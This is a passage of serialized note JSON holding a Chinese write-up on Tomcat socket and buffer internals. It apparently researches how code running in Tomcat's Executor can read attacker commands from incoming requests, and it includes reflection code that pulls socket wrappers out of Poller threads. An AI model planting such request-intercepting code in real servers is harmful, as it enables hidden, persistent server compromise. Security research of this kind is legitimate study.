{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ybhP-1659703041128&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SYio-1659703041127&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.byteBuffer.limit() &gt;= this.headerBufferSize) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5yuY-1659703041130&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;42T5-1659703041129&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (this.parsingRequestLine) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A4P0-1659703041132&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q1ac-1659703041131&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.request.protocol().setString(\&#34;HTTP/1.1\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dv5o-1659703041134&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tIKN-1659703041133&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U6gK-1659703041136&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;umvx-1659703041135&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wL5K-1659703041138&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u2X0-1659703041137&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new IllegalArgumentException(sm.getString(\&#34;iib.requestheadertoolarge.error\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vweN-1659703041140&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d84S-1659703041139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;btZJ-1659703041142&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zkr7-1659703041141&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;naNW-1659703041144&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ylV8-1659703041143&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.byteBuffer.limit(this.end).position(this.end);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BFF0-1659703041146&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TG3g-1659703041145&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f0DZ-1659703041148&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UI0z-1659703041147&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oKgy-1659703041150&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zks8-1659703041149&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int nRead = true;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EBK4-1659703041152&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AMlv-1659703041151&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.byteBuffer.mark();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pNS4-1659703041154&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BuK2-1659703041153&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3CIv-1659703041156&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mFzA-1659703041155&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int nRead;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mo28-1659703041158&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lZiE-1659703041157&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tRat-1659703041160&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xnEM-1659703041159&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.byteBuffer.position() &lt; this.byteBuffer.limit()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ooyB-1659703041162&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ULQl-1659703041161&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.byteBuffer.position(this.byteBuffer.limit());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wbCa-1659703041164&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YI47-1659703041163&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QlsE-1659703041166&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i7qr-1659703041165&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pjff-1659703041168&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K1OH-1659703041167&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.byteBuffer.limit(this.byteBuffer.capacity());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9F7E-1659703041171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gkqs-1659703041170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        nRead = this.wrapper.read(block, this.byteBuffer);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vp7q-1659703041173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KcA5-1659703041172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w4eg-1659703041175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PGAs-1659703041174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.byteBuffer.limit(this.byteBuffer.position()).reset();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ong4-1659703041177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vH7p-1659703041176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Xkk-1659703041179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nWUQ-1659703041178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G40T-1659703041181&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d4kp-1659703041180&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (log.isDebugEnabled()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VjhV-1659703041183&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wem5-1659703041182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        log.debug(\&#34;Received [\&#34; + new String(this.byteBuffer.array(), this.byteBuffer.position(), this.byteBuffer.remaining(), StandardCharsets.ISO_8859_1) + \&#34;]\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p8CF-1659703041185&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YYnl-1659703041184&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u3pF-1659703041187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eRZZ-1659703041186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8mX8-1659703041189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zMq1-1659703041188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (nRead &gt; 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pua9-1659703041191&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X4Rh-1659703041190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return true;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8rii-1659703041193&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gavS-1659703041192&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (nRead == -1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uwNK-1659703041195&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bln2-1659703041194&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        throw new EOFException(sm.getString(\&#34;iib.eof.error\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ee16-1659703041197&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iZwU-1659703041196&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j1HU-1659703041199&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sWOg-1659703041198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZHhh-1659703041201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d7UW-1659703041200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6BTI-1659703041203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wZtG-1659703041202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NXmp-1659702435904&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aGqK-1659702435903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用栈如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r3lT-1659703190389&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCEad5eeac406436739491d074b9b2e304d&#34;,&#34;width&#34;:662,&#34;height&#34;:427},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCEad5eeac406436739491d074b9b2e304d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:427},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IhoD-1659703304529&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XZSr-1659703304530&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最终通过Socket读取到的最原始的request数据被放入各实例的缓存buffer中：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pene-1659703530440&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/1/WEBRESOURCEdfc4264c9bb48011a06b40eccc53e101&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/1/WEBRESOURCEdfc4264c9bb48011a06b40eccc53e101&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vmPE-1659703305454&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y8U8-1659703305451&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最后调用invoke方法交给Container处理：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eEQR-1659703301433&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/2/WEBRESOURCE64b54c17d4a82a9a0ea2099fd19c3722&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/2/WEBRESOURCE64b54c17d4a82a9a0ea2099fd19c3722&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ki1C-1659703221040&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iTB4-1659703221038&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;so，观察一下前文的代码，我们执行的位置是在Executor，这个时候Socket流中的数据还没有被read，通过线程遍历获取到的request其实是前一次（或者前几次，跟线程数有关）的缓存数据，所以获取命令需要我们多次进行request请求。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PnvF-1659703808916&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iYY2-1659703808913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YdOi-1659703853223&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BXJB-1659703853220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;艰难的解决之路&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yi6T-1659703221234&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PZ3Y-1659703221232&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在写这个part之前，其实我并不知晓socket的核心处理点在何处。不得不说偏执是快速解决问题的最大阻碍，通过类似如下的调试代码，我逐一比对buffer部分的变化情况：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XDrE-1659704102088&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;,&#34;wrap&#34;:false},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Iiqp-1659704102087&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dLU8-1659704097634&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;byte[] bytes = new byte[10000];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ut9N-1659704102534&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0PAT-1659704102533&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;ByteBuffer buf = ByteBuffer.wrap(bytes);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1NHA-1659704102536&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TNMR-1659704102535&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;LinkedList linkedList = (LinkedList) getField(getField(getField((Poller)threads[5].target,\&#34;selector\&#34;),\&#34;kqueueWrapper\&#34;),\&#34;updateList\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iDbZ-1659704102538&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N7qu-1659704102537&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;for(Object obj : linkedList){&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l220-1659704102540&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F5MQ-1659704102539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    SelectionKey[] selectionKeys =(SelectionKey[]) getField(getField(obj,\&#34;channel\&#34;),\&#34;keys\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W3t6-1659704102542&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hj1G-1659704102541&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    for (Object tmp :selectionKeys){&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MAJD-1659704102544&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7l5Z-1659704102543&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp,\&#34;attachment\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TfSK-1659704102547&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AdnU-1659704102546&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        nioSocketWrapper.read(false,buf);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LmW9-1659704102549&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6WYa-1659704102548&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLZA-1659704102551&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L2fq-1659704102550&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CFqk-1659704102553&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gsfw-1659704102552&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//new String(buf.array(),\&#34;UTF-8\&#34;);&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WbUM-1659703888597&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VOZG-1659703888596&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最终才发现，socket的处理点在Executor的处理之后而非之前。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kbz9-1659704152879&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yC7Q-1659704152878&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从buffer中获取当次request的想法应该是幻灭了，那么从socket下手又如何呢？&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kv8j-1659704340465&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;,&#34;style&#34;:{}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jr8r-1659704340451&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Find Real Socket&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7RAl-1659704437210&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b3rI-1659704437211&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;之前我固执的认为，Acceptor组件应该为Container处理逻辑的核心，理应重点从其中寻找想要的对象。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HJGt-1659704564629&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N4LV-1659704564627&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;但经过测试发现，从Accpetor中获取的Socket无一例外都已处于closed状态，无法重新read（即使通过反射修改其状态，EndPoint组件也会立即抛出异常。）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UWex-1659704841072&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#3